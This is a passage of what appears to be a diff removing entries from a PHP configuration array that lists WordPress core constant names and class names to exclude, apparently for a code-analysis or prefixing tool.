'SIMPLEPIE_TYPE_RSS_090', - 412 => 'SIMPLEPIE_TYPE_RSS_091_NETSCAPE', - 413 => 'SIMPLEPIE_TYPE_RSS_091_USERLAND', - 414 => 'SIMPLEPIE_TYPE_RSS_091', - 415 => 'SIMPLEPIE_TYPE_RSS_092', - 416 => 'SIMPLEPIE_TYPE_RSS_093', - 417 => 'SIMPLEPIE_TYPE_RSS_094', - 418 => 'SIMPLEPIE_TYPE_RSS_10', - 419 => 'SIMPLEPIE_TYPE_RSS_20', - 420 => 'SIMPLEPIE_TYPE_RSS_RDF', - 421 => 'SIMPLEPIE_TYPE_RSS_SYNDICATION', - 422 => 'SIMPLEPIE_TYPE_RSS_ALL', - 423 => 'SIMPLEPIE_TYPE_ATOM_03', - 424 => 'SIMPLEPIE_TYPE_ATOM_10', - 425 => 'SIMPLEPIE_TYPE_ATOM_ALL', - 426 => 'SIMPLEPIE_TYPE_ALL', - 427 => 'SIMPLEPIE_CONSTRUCT_NONE', - 428 => 'SIMPLEPIE_CONSTRUCT_TEXT', - 429 => 'SIMPLEPIE_CONSTRUCT_HTML', - 430 => 'SIMPLEPIE_CONSTRUCT_XHTML', - 431 => 'SIMPLEPIE_CONSTRUCT_BASE64', - 432 => 'SIMPLEPIE_CONSTRUCT_IRI', - 433 => 'SIMPLEPIE_CONSTRUCT_MAYBE_HTML', - 434 => 'SIMPLEPIE_CONSTRUCT_ALL', - 435 => 'SIMPLEPIE_SAME_CASE', - 436 => 'SIMPLEPIE_LOWERCASE', - 437 => 'SIMPLEPIE_UPPERCASE', - 438 => 'SIMPLEPIE_PCRE_HTML_ATTRIBUTE', - 439 => 'SIMPLEPIE_PCRE_XML_ATTRIBUTE', - 440 => 'SIMPLEPIE_NAMESPACE_XML', - 441 => 'SIMPLEPIE_NAMESPACE_ATOM_10', - 442 => 'SIMPLEPIE_NAMESPACE_ATOM_03', - 443 => 'SIMPLEPIE_NAMESPACE_RDF', - 444 => 'SIMPLEPIE_NAMESPACE_RSS_090', - 445 => 'SIMPLEPIE_NAMESPACE_RSS_10', - 446 => 'SIMPLEPIE_NAMESPACE_RSS_10_MODULES_CONTENT', - 447 => 'SIMPLEPIE_NAMESPACE_RSS_20', - 448 => 'SIMPLEPIE_NAMESPACE_DC_10', - 449 => 'SIMPLEPIE_NAMESPACE_DC_11', - 450 => 'SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO', - 451 => 'SIMPLEPIE_NAMESPACE_GEORSS', - 452 => 'SIMPLEPIE_NAMESPACE_MEDIARSS', - 453 => 'SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG', - 454 => 'SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG2', - 455 => 'SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG3', - 456 => 'SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG4', - 457 => 'SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG5', - 458 => 'SIMPLEPIE_NAMESPACE_ITUNES', - 459 => 'SIMPLEPIE_NAMESPACE_XHTML', - 460 => 'SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY', - 461 => 'SIMPLEPIE_FILE_SOURCE_NONE', - 462 => 'SIMPLEPIE_FILE_SOURCE_REMOTE', - 463 => 'SIMPLEPIE_FILE_SOURCE_LOCAL', - 464 => 'SIMPLEPIE_FILE_SOURCE_FSOCKOPEN', - 465 => 'SIMPLEPIE_FILE_SOURCE_CURL', - 466 => 'SIMPLEPIE_FILE_SOURCE_FILE_GET_CONTENTS', - 467 => 'CUSTOM_TAGS', - 468 => 'SERVICES_JSON_SLICE', - 469 => 'SERVICES_JSON_IN_STR', - 470 => 'SERVICES_JSON_IN_ARR', - 471 => 'SERVICES_JSON_IN_OBJ', - 472 => 'SERVICES_JSON_IN_CMT', - 473 => 'SERVICES_JSON_LOOSE_TYPE', - 474 => 'SERVICES_JSON_SUPPRESS_ERRORS', - 475 => 'SERVICES_JSON_USE_TO_JSON', - 476 => 'REST_API_VERSION', - 477 => 'REST_REQUEST', - 479 => 'EP_NONE', - 480 => 'EP_PERMALINK', - 481 => 'EP_ATTACHMENT', - 482 => 'EP_DATE', - 483 => 'EP_YEAR', - 484 => 'EP_MONTH', - 485 => 'EP_DAY', - 486 => 'EP_ROOT', - 487 => 'EP_COMMENTS', - 488 => 'EP_SEARCH', - 489 => 'EP_CATEGORIES', - 490 => 'EP_TAGS', - 491 => 'EP_AUTHORS', - 492 => 'EP_PAGES', - 493 => 'EP_ALL_ARCHIVES', - 494 => 'EP_ALL', - 495 => 'NO_HEADER_TEXT', - 496 => 'HEADER_IMAGE_WIDTH', - 497 => 'HEADER_IMAGE_HEIGHT', - 498 => 'HEADER_TEXTCOLOR', - 499 => 'HEADER_IMAGE', - 500 => 'BACKGROUND_COLOR', - 501 => 'BACKGROUND_IMAGE', - 502 => 'REQUESTS_AUTOLOAD_REGISTERED', - 504 => 'PO_MAX_LINE_LEN', - 505 => 'UPLOADBLOGSDIR', - 506 => 'UPLOADS', - 507 => 'BLOGUPLOADDIR', - 508 => 'COOKIEPATH', - 509 => 'SITECOOKIEPATH', - 510 => 'ADMIN_COOKIE_PATH', - 512 => 'COOKIE_DOMAIN', - 514 => 'WPMU_SENDFILE', - 515 => 'WPMU_ACCEL_REDIRECT', - 516 => 'VHOST', - 517 => 'SUBDOMAIN_INSTALL', - 521 => 'SODIUM_CRYPTO_CORE_RISTRETTO255_BYTES', - 522 => 'SODIUM_COMPAT_POLYFILLED_RISTRETTO255', - 523 => 'SODIUM_CRYPTO_CORE_RISTRETTO255_HASHBYTES', - 524 => 'SODIUM_CRYPTO_CORE_RISTRETTO255_SCALARBYTES', - 525 => 'SODIUM_CRYPTO_CORE_RISTRETTO255_NONREDUCEDSCALARBYTES', - 526 => 'SODIUM_CRYPTO_SCALARMULT_RISTRETTO255_SCALARBYTES', - 527 => 'SODIUM_CRYPTO_SCALARMULT_RISTRETTO255_BYTES', - 528 => 'SODIUM_COMPAT_AEGIS_C0', - 529 => 'SODIUM_COMPAT_AEGIS_C1', - 536 => 'WP_TEMPLATE_PART_AREA_HEADER', - 537 => 'WP_TEMPLATE_PART_AREA_FOOTER', - 538 => 'WP_TEMPLATE_PART_AREA_SIDEBAR', - 539 => 'WP_TEMPLATE_PART_AREA_UNCATEGORIZED', - 540 => 'WP_TEMPLATE_PART_AREA_NAVIGATION_OVERLAY', - 541 => 'KB_IN_BYTES', - 542 => 'MB_IN_BYTES', - 543 => 'GB_IN_BYTES', - 544 => 'TB_IN_BYTES', - 545 => 'PB_IN_BYTES', - 546 => 'EB_IN_BYTES', - 547 => 'ZB_IN_BYTES', - 548 => 'YB_IN_BYTES', - 549 => 'WP_START_TIMESTAMP', - 550 => 'WP_MEMORY_LIMIT', - 553 => 'WP_MAX_MEMORY_LIMIT', - 558 => 'WP_DEVELOPMENT_MODE', - 561 => 'WP_DEBUG_DISPLAY', - 562 => 'WP_DEBUG_LOG', - 563 => 'WP_CACHE', - 564 => 'SCRIPT_DEBUG', - 565 => 'MEDIA_TRASH', - 566 => 'SHORTINIT', - 567 => 'WP_FEATURE_BETTER_PASSWORDS', - 568 => 'MINUTE_IN_SECONDS', - 569 => 'HOUR_IN_SECONDS', - 570 => 'DAY_IN_SECONDS', - 571 => 'WEEK_IN_SECONDS', - 572 => 'MONTH_IN_SECONDS', - 573 => 'YEAR_IN_SECONDS', - 574 => 'WP_CONTENT_URL', - 575 => 'WP_PLUGIN_DIR', - 576 => 'WP_PLUGIN_URL', - 577 => 'PLUGINDIR', - 578 => 'WPMU_PLUGIN_DIR', - 579 => 'WPMU_PLUGIN_URL', - 580 => 'MUPLUGINDIR', - 581 => 'COOKIEHASH', - 583 => 'USER_COOKIE', - 584 => 'PASS_COOKIE', - 585 => 'AUTH_COOKIE', - 586 => 'SECURE_AUTH_COOKIE', - 587 => 'LOGGED_IN_COOKIE', - 588 => 'TEST_COOKIE', - 592 => 'PLUGINS_COOKIE_PATH', - 594 => 'RECOVERY_MODE_COOKIE', - 595 => 'FORCE_SSL_ADMIN', - 597 => 'AUTOSAVE_INTERVAL', - 598 => 'EMPTY_TRASH_DAYS', - 599 => 'WP_POST_REVISIONS', - 600 => 'WP_CRON_LOCK_TIMEOUT', - 601 => 'TEMPLATEPATH', - 602 => 'STYLESHEETPATH', - 603 => 'WP_DEFAULT_THEME', - 604 => 'IMAGETYPE_AVIF', - 605 => 'IMG_AVIF', - 606 => 'IMAGETYPE_HEIF', - 607 => 'MS_FILES_REQUEST', - ), - 'exclude-classes' => - array ( - 0 => 'WP_Post_Comments_List_Table', - 1 => 'WP_Privacy_Data_Export_Requests_List_Table', - 2 => 'WP_Privacy_Requests_Table', - 3 => 'WP_Terms_List_Table', - 4 => 'WP_Users_List_Table', - 5 => 'Plugin_Upgrader', - 6 => 'WP_Privacy_Policy_Content', - 7 => 'Bulk_Plugin_Upgrader_Skin', - 8 => 'WP_Theme_Install_List_Table', - 9 => 'WP_Filesystem_SSH2', - 10 => 'WP_Community_Events', - 11 => 'File_Upload_Upgrader', - 12 => 'Language_Pack_Upgrader_Skin', - 13 => 'Language_Pack_Upgrader', - 14 => 'Plugin_Installer_Skin', - 15 => 'PclZip', - 16 => 'WP_Ajax_Upgrader_Skin', - 17 => 'WP_Themes_List_Table', - 18 => 'Walker_Nav_Menu_Checklist', - 19 => 'WP_MS_Sites_List_Table', - 20 => 'WP_Application_Passwords_List_Table', - 21 => 'Walker_Nav_Menu_Edit', - 22 => 'WP_Automatic_Updater', - 23 => 'Plugin_Upgrader_Skin', - 24 => 'WP_Site_Health', - 25 => 'WP_Internal_Pointers', - 26 => 'Bulk_Theme_Upgrader_Skin', - 27 => 'Theme_Installer_Skin', - 28 => 'Walker_Category_Checklist', - 29 => 'WP_Upgrader', - 30 => 'ftp_sockets', - 31 => 'WP_Filesystem_Base', - 32 => 'WP_Plugin_Install_List_Table', - 33 => 'Core_Upgrader', - 34 => 'WP_Filesystem_Direct', - 35 => 'WP_Filesystem_ftpsockets', - 36 => 'Theme_Upgrader', - 37 => 'WP_Links_List_Table', - 38 => 'WP_Upgrader_Skin', - 39 => 'WP_MS_Users_List_Table', - 40 => 'Custom_Image_Header', - 41 => 'WP_Importer', - 42 => 'WP_Posts_List_Table', - 43 => 'WP_Privacy_Data_Removal_Requests_List_Table', - 44 => '_WP_List_Table_Compat', - 45 => 'ftp_pure', - 46 => 'Bulk_Upgrader_Skin', - 47 => 'WP_Comments_List_Table', - 48 => 'WP_MS_Themes_List_Table', - 49 => 'WP_Site_Health_Auto_Updates', - 50 => 'WP_List_Table', - 51 => 'Automatic_Upgrader_Skin', - 52 => 'WP_Filesystem_FTPext', - 53 => 'WP_Plugins_List_Table', - 54 => 'WP_Media_List_Table', - 55 => 'WP_Site_Icon', - 56 => 'Theme_Upgrader_Skin', - 57 => 'WP_Screen', - 58 => 'ftp_base', - 59 => 'ftp', - 60 => 'WP_Debug_Data', - 61 => 'WP_User_Search', - 62 => 'WP_Privacy_Data_Export_Requests_Table', - 63 => 'WP_Privacy_Data_Removal_Requests_Table', - 64 => 'Custom_Background', - 65 => 'MagpieRSS', - 66 => 'RSSCache', - 67 => 'WP_Navigation_Block_Renderer', - 68 => 'WP_Customize_Setting', - 69 => 'WP_Block_Editor_Context', - 70 => 'WP_PHPMailer', - 71 => 'wpdb', - 72 => 'WP_Block_Metadata_Registry', - 73 => 'WP_Comment_Query', - 74 => 'Walker_Category', - 75 => 'WP_Date_Query', - 76 => 'WP_Recovery_Mode_Cookie_Service', - 77 => 'WP_Styles', - 78 => '_WP_Editors', - 79 => 'WP_Translation_Controller', - 80 => 'WP_Translation_File_PHP', - 81 => 'WP_Translation_File', - 82 => 'WP_Translation_File_MO', - 83 => 'WP_Translations', - 84 => 'getid3_riff', - 85 => 'getid3_flac', - 86 => 'getid3_apetag', - 87 => 'getid3_id3v2', - 88 => 'getid3_quicktime', - 89 => 'getid3_id3v1', - 90 => 'getid3_lyrics3', - 91 => 'getID3', - 92 => 'getid3_handler', - 93 => 'getid3_exception', - 94 => 'getid3_mp3', - 95 => 'getid3_dts', - 96 => 'getid3_ogg', - 97 => 'getid3_matroska', - 98 => 'getid3_ac3', - 99 => 'getid3_lib', - 100 => 'getid3_asf', - 101 => 'getid3_flv', - 102 => 'AMFStream', - 103 => 'AMFReader', - 104 => 'AVCSequenceParameterSetReader', - 105 => 'WP_Session_Tokens', - 106 => 'WP_Theme_JSON_Data', - 107 => 'WP_Theme_JSON_Schema', - 108 => 'WP_oEmbed_Controller', - 109 => 'WP_Roles', - 110 => 'WP_Classic_To_Block_Menu_Converter', - 111 => 'WP_Block_Template', - 112 => 'WP_HTTP_Requests_Response', - 113 => 'WP_Scripts', - 114 => 'Walker', - 115 => 'WP_Customize_Nav_Menus', - 116 => 'WP', - 117 => 'Walker_CategoryDropdown', - 118 => 'WP_Script_Modules', - 119 => 'WP_Site_Query', - 120 => 'WP_Customize_Panel', - 121 => 'WP_Duotone', - 122 => 'SimplePie', - 123 => 'SimplePie_Category', - 124 => 'SimplePie_Net_IPv6', - 125 => 'SimplePie_Cache_Memcache', - 126 => 'SimplePie_Cache_File', - 127 => 'SimplePie_Cache_DB', - 128 => 'SimplePie_Cache_MySQL', - 129 => 'SimplePie_Cache_Redis', - 130 => 'SimplePie_Cache_Base', - 131 => 'SimplePie_Cache_Memcached', - 132 => 'SimplePie_Parser', - 133 => 'SimplePie_Sanitize', - 134 => 'SimplePie_Cache', - 135 => 'SimplePie_File', - 136 => 'SimplePie_Registry', - 137 => 'SimplePie_Parse_Date', - 138 => 'SimplePie_Copyright', - 139 => 'SimplePie_Content_Type_Sniffer', - 140 => 'SimplePie_Locator', - 141 => 'SimplePie_XML_Declaration_Parser', - 142 => 'SimplePie_Decode_HTML_Entities', - 143 => 'SimplePie_HTTP_Parser', - 144 => 'SimplePie_Restriction', - 145 => 'SimplePie_Credit', - 146 => 'SimplePie_Item', - 147 => 'SimplePie_Enclosure', - 148 => 'SimplePie_IRI', - 149 => 'SimplePie_Source', - 150 => 'SimplePie_Author', - 151 => 'SimplePie_Exception', - 152 => 'SimplePie_Caption', - 153 => 'SimplePie_Misc', - 154 => 'SimplePie_Rating', - 155 => 'SimplePie_Core', - 156 => 'SimplePie_gzdecode', - 157 => 'SimplePie_Autoloader', - 158 => 'WP_Textdomain_Registry', - 159 => 'Services_JSON', - 160 => 'Services_JSON_Error', - 161 => 'WP_Term_Query', - 162 => 'WP_Locale_Switcher', - 163 => 'Walker_Comment', - 164 => 'WP_Plugin_Dependencies', - 165 => 'WP_Http_Cookie', - 166 => 'WP_Rewrite', - 167 => 'WP_HTTP_Proxy', - 168 => 'WP_SimplePie_File', - 169 => 'WP_Object_Cache', - 170 => 'WP_Customize_Manager', - 171 => 'WP_Speculation_Rules', - 172 => 'WP_Block_Supports', - 173 => 'AtomFeed', - 174 => 'AtomEntry', - 175 => 'AtomParser', - 176 => 'WP_Text_Diff_Renderer_Table', - 177 => 'wp_xmlrpc_server', - 178 => 'WP_Feed_Cache_Transient', - 179 => 'WP_Theme', - 180 => 'WP_Text_Diff_Renderer_inline', - 181 => 'WP_HTTP_Requests_Hooks', - 182 => 'WP_Fatal_Error_Handler', - 183 => 'WP_Abilities_Registry', - 184 => 'WP_Ability_Category', - 185 => 'WP_Ability_Categories_Registry', - 186 => 'WP_Ability', - 187 => 'WP_Block_Type_Registry', - 188 => 'WP_Site', - 189 => 'WP_Block_Parser_Frame', - 190 => 'WP_Block_Styles_Registry', - 191 => 'WP_MatchesMapRegex', - 192 => 'WP_HTML_Token', - 193 => 'WP_HTML_Open_Elements', - 194 => 'WP_HTML_Stack_Event', - 195 => 'WP_HTML_Processor_State', - 196 => 'WP_HTML_Processor', - 197 => 'WP_HTML_Span', - 198 => 'WP_HTML_Decoder', - 199 => 'WP_HTML_Unsupported_Exception', - 200 => 'WP_HTML_Attribute_Token', - 201 => 'WP_HTML_Active_Formatting_Elements', - 202 => 'WP_HTML_Doctype_Info', - 203 => 'WP_HTML_Tag_Processor', - 204 => 'WP_HTML_Text_Replacement', - 205 => 'WP_Meta_Query', - 206 => 'WP_URL_Pattern_Prefixer', - 207 => 'WP_Block', - 208 => 'PO', - 209 => 'POMO_Reader', - 210 => 'POMO_FileReader', - 211 => 'POMO_StringReader', - 212 => 'POMO_CachedFileReader', - 213 => 'POMO_CachedIntFileReader', - 214 => 'Translation_Entry', - 215 => 'Plural_Forms', - 216 => 'Translations', - 217 => 'Gettext_Translations', - 218 => 'NOOP_Translations', - 219 => 'MO', - 220 => 'WP_Application_Passwords', - 221 => 'WP_Locale', - 222 => 'WP_Admin_Bar', - 223 => 'WP_Recovery_Mode_Key_Service', - 224 => 'WP_Block_Parser', - 225 => 'WP_Embed', - 226 => 'WP_Theme_JSON_Resolver', - 227 => 'WP_Error', - 228 => 'WP_Customize_Section', - 229 => 'WP_Sitemaps', - 230 => 'WP_Sitemaps_Posts', - 231 => 'WP_Sitemaps_Users', - 232 => 'WP_Sitemaps_Taxonomies', - 233 => 'WP_Sitemaps_Stylesheet', - 234 => 'WP_Sitemaps_Provider', - 235 => 'WP_Sitemaps_Renderer', - 236 => 'WP_Sitemaps_Index', - 237 => 'WP_Sitemaps_Registry', - 238 => 'PasswordHash', - 239 => 'WP_Customize_Control', - 240 => 'WP_Block_Processor', - 241 => 'WP_List_Util', - 242 => 'WP_User_Request', - 243 => 'WP_Ajax_Response', - 244 => 'Walker_Page', - 245 => 'WP_Theme_JSON', - 246 => 'WP_Dependencies', - 247 => 'WP_Block_Bindings_Registry', - 248 => 'WP_Block_Templates_Registry', - 249 => 'WP_Recovery_Mode', - 250 => 'Snoopy', - 251 => 'Walker_Nav_Menu', - 252 => 'WP_Recovery_Mode_Email_Service', - 253 => 'WP_Block_List', - 254 => 'WP_Comment', - 255 => 'WP_Network_Query', - 256 => 'WP_oEmbed', - 257 => 'ParagonIE_Sodium_Crypto', - 258 => 'ParagonIE_Sodium_Core32_HChaCha20', - 259 => 'ParagonIE_Sodium_Core32_Int32', - 260 => 'ParagonIE_Sodium_Core32_SecretStream_State', - 261 => 'ParagonIE_Sodium_Core32_Poly1305', - 262 => 'ParagonIE_Sodium_Core32_ChaCha20_Ctx', - 263 => 'ParagonIE_Sodium_Core32_ChaCha20_IetfCtx', - 264 => 'ParagonIE_Sodium_Core32_HSalsa20', - 265 => 'ParagonIE_Sodium_Core32_XChaCha20', - 266 => 'ParagonIE_Sodium_Core32_X25519', - 267 => 'ParagonIE_Sodium_Core32_ChaCha20', - 268 => 'ParagonIE_Sodium_Core32_Curve25519', - 269 => 'ParagonIE_Sodium_Core32_Salsa20', - 270 => 'ParagonIE_Sodium_Core32_BLAKE2b', - 271 => 'ParagonIE_Sodium_Core32_Poly1305_State', - 272 => 'ParagonIE_Sodium_Core32_SipHash', - 273 => 'ParagonIE_Sodium_Core32_XSalsa20', - 274 => 'ParagonIE_Sodium_Core32_Ed25519', - 275 => 'ParagonIE_Sodium_Core32_Util', - 276 => 'ParagonIE_Sodium_Core32_Int64', - 277 => 'ParagonIE_Sodium_Core32_Curve25519_H', - 278 => 'ParagonIE_Sodium_Core32_Curve25519_Fe', - 279 => 'ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp', - 280 => 'ParagonIE_Sodium_Core32_Curve25519_Ge_P3', - 281 => 'ParagonIE_Sodium_Core32_Curve25519_Ge_P2', - 282 => 'ParagonIE_Sodium_Core32_Curve25519_Ge_Cached', - 283 => 'ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1', - 284 => 'ParagonIE_Sodium_Core_AEGIS256', - 285 => 'ParagonIE_Sodium_Core_AES', - 286 => 'ParagonIE_Sodium_Core_HChaCha20', - 287 => 'ParagonIE_Sodium_Core_AEGIS_State256', - 288 => 'ParagonIE_Sodium_Core_AEGIS_State128L', - 289 => 'ParagonIE_Sodium_Core_SecretStream_State', - 290 => 'ParagonIE_Sodium_Core_Base64_UrlSafe', - 291 => 'ParagonIE_Sodium_Core_Base64_Original', - 292 => 'ParagonIE_Sodium_Core_Poly1305', - 293 => 'ParagonIE_Sodium_Core_ChaCha20_Ctx', - 294 => 'ParagonIE_Sodium_Core_ChaCha20_IetfCtx', - 295 => 'ParagonIE_Sodium_Core_HSalsa20', - 296 => 'ParagonIE_Sodium_Core_XChaCha20', - 297 => 'ParagonIE_Sodium_Core_X25519', - 298 => 'ParagonIE_Sodium_Core_ChaCha20', - 299 => 'ParagonIE_Sodium_Core_Curve25519', - 300 => 'ParagonIE_Sodium_Core_AEGIS128L', - 301 => 'ParagonIE_Sodium_Core_Salsa20', - 302 => 'ParagonIE_Sodium_Core_BLAKE2b', - 303 => 'ParagonIE_Sodium_Core_Poly1305_State', - 304 => 'ParagonIE_Sodium_Core_SipHash', - 305 => 'ParagonIE_Sodium_Core_XSalsa20', - 306 => 'ParagonIE_Sodium_Core_Ed25519', - 307 => 'ParagonIE_Sodium_Core_Util', - 308 => 'ParagonIE_Sodium_Core_Curve25519_H', - 309 => 'ParagonIE_Sodium_Core_Curve25519_Fe', - 310 => 'ParagonIE_Sodium_Core_Curve25519_Ge_Precomp', - 311 => 'ParagonIE_Sodium_Core_Curve25519_Ge_P3', - 312 => 'ParagonIE_Sodium_Core_Curve25519_Ge_P2', - 313 => 'ParagonIE_Sodium_Core_Curve25519_Ge_Cached', - 314 => 'ParagonIE_Sodium_Core_Curve25519_Ge_P1p1', - 315 => 'ParagonIE_Sodium_Core_Ristretto255', - 316 => 'ParagonIE_Sodium_Core_AES_KeySchedule', - 317 => 'ParagonIE_Sodium_Core_AES_Block', - 318 => 'ParagonIE_Sodium_Core_AES_Expanded', - 319 => 'ParagonIE_Sodium_File', - 320 => 'SodiumException', - 321 => 'ParagonIE_Sodium_Crypto32', - 322 => 'ParagonIE_Sodium_Compat', - 323 => 'SplFixedArray', - 324 => 'WP_Image_Editor', - 325 => 'WP_Post', - 326 => 'WP_Widget', - 327 => 'WP_Hook', - 328 => 'WP_SimplePie_Sanitize_KSES', - 329 => 'WP_User_Meta_Session_Tokens', - 330 => 'WP_Navigation_Fallback', - 331 => 'WP_Http_Encoding', - 332 => 'WP_Network', - 333 => 'WP_Metadata_Lazyloader', - 334 => 'Text_Diff', - 335 => 'Text_MappedDiff', - 336 => 'Text_Diff_Op', - 337 => 'Text_Diff_Op_copy', - 338 => 'Text_Diff_Op_delete', - 339 => 'Text_Diff_Op_add', - 340 => 'Text_Diff_Op_change', - 341 => 'Text_Diff_Renderer_inline', - 342 => 'Text_Diff_Renderer', - 343 => 'Text_Diff_Engine_xdiff', - 344 => 'Text_Diff_Engine_shell', - 345 => 'Text_Diff_Engine_native', - 346 => 'Text_Diff_Engine_string', - 347 => 'Text_Exception', - 348 => 'WP_Block_Parser_Block', - 349 => 'WP_Http_Curl', - 350 => 'WP_Connector_Registry', - 351 => 'WP_Token_Map', - 352 => 'WP_Tax_Query', - 353 => 'WP_Query', - 354 => 'wp_atom_server', - 355 => 'WP_Block_Pattern_Categories_Registry', - 356 => 'WP_Exception', - 357 => 'WP_AI_Client_Prompt_Builder', - 358 => 'WP_AI_Client_Cache', - 359 => 'WP_AI_Client_Discovery_Strategy', - 360 => 'WP_AI_Client_HTTP_Client', - 361 => 'WP_AI_Client_Event_Dispatcher', - 362 => 'WP_AI_Client_Ability_Function_Resolver', - 363 => 'IXR_Server', - 364 => 'IXR_ClientMulticall', - 365 => 'IXR_Message', - 366 => 'IXR_Request', - 367 => 'IXR_Error', - 368 => 'IXR_Date', - 369 => 'IXR_IntrospectionServer', - 370 => 'IXR_Value', - 371 => 'IXR_Client', - 372 => 'IXR_Base64', - 373 => 'WP_Block_Bindings_Source', - 374 => 'Requests', - 375 => 'WP_Term', - 376 => 'WP_Font_Collection', - 377 => 'WP_Font_Utils', - 378 => 'WP_Font_Face', - 379 => 'WP_Font_Library', - 380 => 'WP_Font_Face_Resolver', - 381 => 'WP_Widget_Factory', - 382 => 'WP_Http_Streams', - 383 => 'WP_HTTP_Fsockopen', - 384 => 'WP_Customize_Widgets', - 385 => 'POP3', - 386 => 'WP_Http', - 387 => 'WP_Taxonomy', - 388 => 'WP_Post_Type', - 389 => 'WP_User', - 390 => 'WP_HTTP_Response', - 391 => 'WP_Role', - 392 => 'WP_Paused_Extensions_Storage', - 393 => '_WP_Dependency', - 394 => 'Walker_PageDropdown', - 395 => 'WP_Block_Type', - 396 => 'WP_Feed_Cache', - 397 => 'WP_Image_Editor_Imagick', - 398 => 'WP_Block_Patterns_Registry', - 399 => 'WP_Widget_Block', - 400 => 'WP_Widget_Tag_Cloud', - 401 => 'WP_Widget_Archives', - 402 => 'WP_Widget_Meta', - 403 => 'WP_Widget_Media', - 404 => 'WP_Widget_Recent_Posts', - 405 => 'WP_Widget_Links', - 406 => 'WP_Widget_Search', - 407 => 'WP_Widget_Pages', - 408 => 'WP_Widget_Custom_HTML', - 409 => 'WP_Widget_Categories', - 410 => 'WP_Widget_Media_Gallery', - 411 => 'WP_Widget_Recent_Comments', - 412 => 'WP_Nav_Menu_Widget', - 413 => 'WP_Widget_Media_Image', - 414 => 'WP_Widget_Calendar', - 415 => 'WP_Widget_RSS', - 416 => 'WP_Widget_Text', - 417 => 'WP_Widget_Media_Video', - 418 => 'WP_Widget_Media_Audio', - 419 => 'WP_REST_Template_Revisions_Controller', - 420 => 'WP_REST_Font_Collections_Controller', - 421 => 'WP_REST_Icons_Controller', - 422 => 'WP_REST_Posts_Controller', - 423 => 'WP_REST_Block_Patterns_Controller', - 424 => 'WP_REST_Post_Types_Controller', - 425 => 'WP_REST_Block_Renderer_Controller', - 426 => 'WP_REST_Controller', - 427 => 'WP_REST_Widget_Types_Controller', - 428 => 'WP_REST_Template_Autosaves_Controller', - 429 => 'WP_REST_Plugins_Controller', - 430 => 'WP_REST_Abilities_V1_Run_Controller', - 431 => 'WP_REST_Widgets_Controller', - 432 => 'WP_REST_Site_Health_Controller', - 433 => 'WP_REST_Post_Statuses_Controller', - 434 => 'WP_REST_Global_Styles_Controller', - 435 => 'WP_REST_Themes_Controller', - 436 => 'WP_REST_URL_Details_Controller', - 437 => 'WP_REST_Menu_Items_Controller', - 438 => 'WP_REST_Application_Passwords_Controller', - 439 => 'WP_REST_Blocks_Controller', - 440 => 'WP_REST_Navigation_Fallback_Controller', - 441 => 'WP_REST_Templates_Controller', - 442 => 'WP_REST_Edit_Site_Export_Controller', - 443 => 'WP_REST_Attachments_Controller', - 444 => 'WP_REST_Taxonomies_Controller', - 445 => 'WP_REST_Pattern_Directory_Controller', - 446 => 'WP_REST_Settings_Controller', - 447 => 'WP_REST_Font_Families_Controller', - 448 => 'WP_REST_Revisions_Controller', - 449 => 'WP_REST_Sidebars_Controller', - 450 => 'WP_REST_Search_Controller', - 451 => 'WP_REST_Block_Types_Controller', - 452 => 'WP_REST_Block_Directory_Controller', - 453 => 'WP_REST_Abilities_V1_List_Controller', - 454 => 'WP_REST_Block_Pattern_Categories_Controller', - 455 => 'WP_REST_Global_Styles_Revisions_Controller', - 456 => 'WP_REST_Users_Controller', - 457 => 'WP_REST_Terms_Controller', - 458 => 'WP_REST_Abilities_V1_Categories_Controller', - 459 => 'WP_REST_Comments_Controller', - 460 => 'WP_REST_Autosaves_Controller', - 461 => 'WP_REST_Font_Faces_Controller', - 462 => 'WP_REST_Menus_Controller', - 463 => 'WP_REST_Menu_Locations_Controller', - 464 => 'WP_REST_Server', - 465 => 'WP_REST_Request', - 466 => 'WP_REST_Search_Handler', - 467 => 'WP_REST_Term_Search_Handler', - 468 => 'WP_REST_Post_Search_Handler', - 469 => 'WP_REST_Post_Format_Search_Handler', - 470 => 'WP_REST_Response', - 471 => 'WP_REST_User_Meta_Fields', - 472 => 'WP_REST_Term_Meta_Fields', - 473 => 'WP_REST_Meta_Fields', - 474 => 'WP_REST_Comment_Meta_Fields', - 475 => 'WP_REST_Post_Meta_Fields', - 476 => 'WP_Style_Engine_CSS_Declarations', - 477 => 'WP_Style_Engine_CSS_Rule', - 478 => 'WP_Style_Engine_Processor', - 479 => 'WP_Style_Engine', - 480 => 'WP_Style_Engine_CSS_Rules_Store', - 481 => 'WP_User_Query', - 482 => 'WP_Recovery_Mode_Link_Service', - 483 => 'WP_Interactivity_API', - 484 => 'WP_Interactivity_API_Directives_Processor', - 485 => 'WP_Icons_Registry', - 486 => 'WP_Image_Editor_GD', - 487 => 'WP_Customize_Nav_Menu_Section', - 488 => 'WP_Customize_Filter_Setting', - 489 => 'WP_Customize_Background_Image_Control', - 490 => 'WP_Customize_Nav_Menu_Name_Control', - 491 => 'WP_Customize_Header_Image_Control', - 492 => 'WP_Customize_Nav_Menu_Item_Control', - 493 => 'WP_Customize_Code_Editor_Control', - 494 => 'WP_Customize_Media_Control', - 495 => 'WP_Customize_Nav_Menu_Control', - 496 => 'WP_Customize_Nav_Menus_Panel', - 497 => 'WP_Customize_New_Menu_Control', - 498 => 'WP_Customize_Theme_Control', - 499 => 'WP_Customize_Upload_Control', - 500 => 'WP_Customize_Selective_Refresh', - 501 => 'WP_Customize_Nav_Menu_Auto_Add_Control', - 502 => 'WP_Customize_Themes_Section', - 503 => 'WP_Customize_Site_Icon_Control', - 504 => 'WP_Customize_Nav_Menu_Locations_Control', - 505 => 'WP_Customize_Image_Control', - 506 => 'WP_Customize_New_Menu_Section', - 507 => 'WP_Customize_Nav_Menu_Item_Setting', - 508 => 'WP_Customize_Header_Image_Setting', - 509 => 'WP_Customize_Partial', - 510 => 'WP_Sidebar_Block_Editor_Control', - 511 => 'WP_Customize_Color_Control', - 512 => 'WP_Customize_Date_Time_Control', - 513 => 'WP_Customize_Nav_Menu_Setting', - 514 => 'WP_Customize_Background_Position_Control', - 515 => 